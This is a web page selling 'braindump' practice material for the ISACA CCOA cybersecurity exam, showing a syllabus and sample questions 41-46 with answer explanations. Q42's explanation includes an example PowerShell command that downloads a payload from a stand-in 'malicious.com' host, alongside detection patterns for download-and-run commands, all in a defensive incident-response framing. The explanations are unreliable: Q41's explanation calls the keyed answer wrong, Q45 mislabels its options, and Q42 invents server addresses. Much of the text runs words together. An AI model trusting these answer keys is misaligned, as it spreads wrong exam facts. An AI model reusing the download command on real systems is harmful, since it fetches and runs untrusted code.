Reliable CCOA Braindumps Sheet - CCOA Latest Test Dumps

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ISACA CCOA Exam Syllabus Topics:

Topic	Details
Topic 1	Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The focus is on understanding the technical landscape and how these elements interconnect to ensure secure operations.
Topic 2	Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to compromise systems. It includes identifying methods of attack, such as phishing, malware, and social engineering, and understanding how these techniques can be detected and thwarted.
Topic 3	Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst and focuses on detecting security incidents and responding appropriately. It includes understanding security monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to react to security breaches quickly and efficiently to minimize damage and restore operations.
Topic 4	Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to organizational assets.
Topic 5	Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the methods and strategies used to secure organizational assets. It includes topics like endpoint security, data protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive information and resources are properly protected from external and internal threats.

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ISACA Certified Cybersecurity Operations Analyst Sample Questions (Q41-Q46):

NEW QUESTION # 41
Which of the following Is a PRIMARY function of a network intrusion detection system (IDS)?

A. Analyzing whether packets are suspicious
B. Dropping network traffic if suspicious packets are detected
C. Filtering incoming and outgoing network traffic based on security policies
D. Preventing suspicious packets from being executed

Answer: A

Explanation:
Theprimary function of a Network Intrusion Detection System (IDS)is toanalyze network trafficto detect potentially malicious activityby:
* Traffic Monitoring:Continuously examining inbound and outbound data packets.
* Signature and Anomaly Detection:Comparing packet data against known attack patterns or baselines.
* Alerting:Generating notifications when suspicious patterns are detected.
* Passive Monitoring:Unlike Intrusion Prevention Systems (IPS), IDS does not block or prevent traffic.
Other options analysis:
* A. Dropping traffic:Function of an IPS, not an IDS.
* C. Filtering traffic:Typically handled by firewalls, not IDS.
* D. Preventing execution:IDS does not actively block or mitigate threats.
CCOA Official Review Manual, 1st Edition References:
* Chapter 8: Network Monitoring and Intrusion Detection:Describes IDS functions and limitations.
* Chapter 7: Security Operations and Monitoring:Covers the role of IDS in network security.

NEW QUESTION # 42
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?

Answer:

Explanation:
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.
* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

NEW QUESTION # 43
In which cloud service model are clients responsible for regularly updating the operating system?

A. Database as a Service (OBaaS)
B. Software as a Service (SaaS)
C. Infrastructure as a Service (laaS)
D. Platform as a Service (PaaS)

Answer: C

Explanation:
In theIaaS (Infrastructure as a Service)model, clients are responsible formanaging and updating the operating systembecause:
* Client Responsibility:The provider supplies virtualized computing resources (e.g., VMs), but OS maintenance remains with the client.
* Flexibility:Users can install, configure, and update OSs according to their needs.
* Examples:AWS EC2, Microsoft Azure VMs.
* Compared to Other Models:
* SaaS:The provider manages the entire stack, including the OS.
* DBaaS:Manages databases without requiring OS maintenance.
* PaaS:The platform is managed, leaving no need for direct OS updates.
CCOA Official Review Manual, 1st Edition References:
* Chapter 10: Cloud Security and IaaS Management:Discusses client responsibilities in IaaS environments.
* Chapter 9: Cloud Deployment Models:Explains how IaaS differs from SaaS and PaaS.

NEW QUESTION # 44
Which of the following is the MOST effective method for identifying vulnerabilities in a remote web application?

A. Source code review
B. Dynamic application security testing (DA5T)
C. Penetration testing
D. Static application security testing (SAST)

Answer: C

Explanation:
The most effective method for identifying vulnerabilities in aremote web applicationispenetration testing.
* Realistic Simulation:Penetration testing simulates real-world attack scenarios to find vulnerabilities.
* Dynamic Testing:Actively exploits potential weaknesses rather than just identifying them statically.
* Comprehensive Coverage:Tests the application from an external attacker's perspective, including authentication bypass, input validation flaws, and configuration issues.
* Manual Validation:Can verify exploitability, unlike automated tools.
Incorrect Options:
* A. Source code review:Effective but only finds issues in the code, not in the live environment.
* B. Dynamic application security testing (DAST):Useful but more automated and less thorough than penetration testing.
* D. Static application security testing (SAST):Focuses on source code analysis, not the deployed application.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Application Security Testing Methods" - Penetration testing is crucial for identifying vulnerabilities in remote applications through real-world attack simulation.

NEW QUESTION # 45
An organization continuously monitors enforcement of the least privilege principle and requires users and devices to re-authenticate at multiple levels of a system. Which type of security model has been adopted?

A. Defense-in-depth model
B. Security-in-depth model
C. Layered security model
D. Zero Trust model

Answer: D

Explanation:
TheZero Trust modelenforces the principle ofnever trust, always verifyby requiring continuous authentication and strict access controls, even within the network.
* Continuous Authentication:Users and devices must consistently prove their identity.
* Least Privilege:Access is granted only when necessary and only for the specific task.
* Micro-Segmentation:Limits the potential impact of a compromise.
* Monitoring and Validation:Continually checks user behavior and device integrity.
Incorrect Options:
* A. Security-in-depth model:Not a formal model; more of a general approach.
* B. Layered security model:Combines multiple security measures, but not as dynamic as Zero Trust.
* D. Defense-in-depth model:Uses multiple security layers but lacks continuous authentication and verification.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Zero Trust Security," Subsection "Principles of Zero Trust" - The Zero Trust model continuously authenticates and limits access to minimize risks.

NEW QUESTION # 46
......

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RELIABLE CCOA BRAINDUMPS SHEET - CCOA LATEST TEST DUMPS

Reliable CCOA Braindumps Sheet - CCOA Latest Test Dumps